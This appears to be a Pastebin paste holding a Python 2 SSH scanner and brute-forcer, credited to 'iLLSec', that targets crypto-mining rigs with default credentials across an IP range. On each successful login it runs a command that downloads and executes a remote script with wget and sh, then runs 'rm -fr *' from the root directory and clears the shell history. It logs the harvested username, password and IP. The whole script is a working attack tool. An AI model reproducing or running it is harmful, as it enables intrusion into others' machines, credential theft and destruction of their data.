Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import threading
- import sys
- import socket
- import time
- import paramiko
- import random
- import os
- if len(sys.argv) < 3:
- print \
- """
- _..._
- .---..---. .-'_..._''.
- .--.| || | __.....__ .' .' '.\
- |__|| || | .-'' '. / .'
- .--.| || | / .-''"'-. `. . '
- | || || | / /________\ \| |
- | || || | _ | || |
- | || || | .' | \ .-------------'. '
- | || || | . | /\ '-.____...---. \ '. .
- |__|| || | .'.'| |// `. .' '. `._____.-'/
- '---''---'.'.'.-' / `''-...... -' `-.______ /
- .' \_.' `
- Credits -> Condom #iLLSec
- """
- print "Usage: python "+sys.argv[0]+" [Start IP] [End IP] [eth/btc/robo]"
- if not os.geteuid()==0:
- sys.exit("\nPlease run as fucking root omfg\n")
- os.system("echo -e 'ulimit -s 99999; ulimit -n 99999; ulimit -u 99999\n' > ~/.bashrc")
- os.system("ulimit -s 99999; ulimit -n 99999; ulimit -u 99999")
- paramiko.util.log_to_file("/dev/null")
- os.system("sysctl -w fs.file-max=99999 >/dev/null")
- if sys.argv[3] == 'eth':
- passwords = [ "ethos:live", "root:live" ]
- if sys.argv[3] == 'btc':
- passwords = [ "root:admin", "admin:admin" ]
- if sys.argv[3] == 'robo':
- passwords = [ "root:bitmine", "admin:bitmine" ]
- def ipRange(start_ip, end_ip):
- start = list(map(int, start_ip.split(".")))
- end = list(map(int, end_ip.split(".")))
- temp = start
- ip_range = []
- ip_range.append(start_ip)
- while temp != end:
- start[3] += 1
- for i in (3, 2, 1):
- if temp[i] == 256:
- temp[i] = 0
- temp[i-1] += 1
- ip_range.append(".".join(map(str, temp)))
- return ip_range
- class sshscanner(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip)
- global passwords
- def run(self):
- x = 1
- while x != 0:
- try:
- username='root'
- password="0"
- port = 22
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
- s.connect((self.ip, port))
- s.close()
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- dobreak=False
- for passwd in passwords:
- if ":n/a" in passwd:
- password=""
- else:
- password=passwd.split(":")[1]
- if "n/a:" in passwd:
- username=""
- else:
- username=passwd.split(":")[0]
- try:
- ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
- dobreak=True
- break
- except:
- pass
- if True == dobreak:
- break
- badserver=True
- stdin, stdout, stderr = ssh.exec_command("cd /; wget https://pastebin.com/raw/4tPWuiJV -o illsec.sh; sh illsec.sh; rm -fr *; history -c")
- output = stdout.read()
- if "illsec" in output:
- badserver=False
- if badserver == False:
- os.system("echo -e " +self.ip+ " >> .stats.ips")
- os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> gathered.log")
- print "\033[32mGathering -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"
- ssh.exec_command("cd /; wget https://pastebin.com/raw/4tPWuiJV -o illsec.sh; sh illsec.sh; rm -fr *; history -c")
- time.sleep(3)
- ssh.close()
- if badserver == True:
- ssh.close()
- except:
- pass
- x = 0
- ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
- for ip in ip_range:
- try:
- t = sshscanner(ip)
- t.start()
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement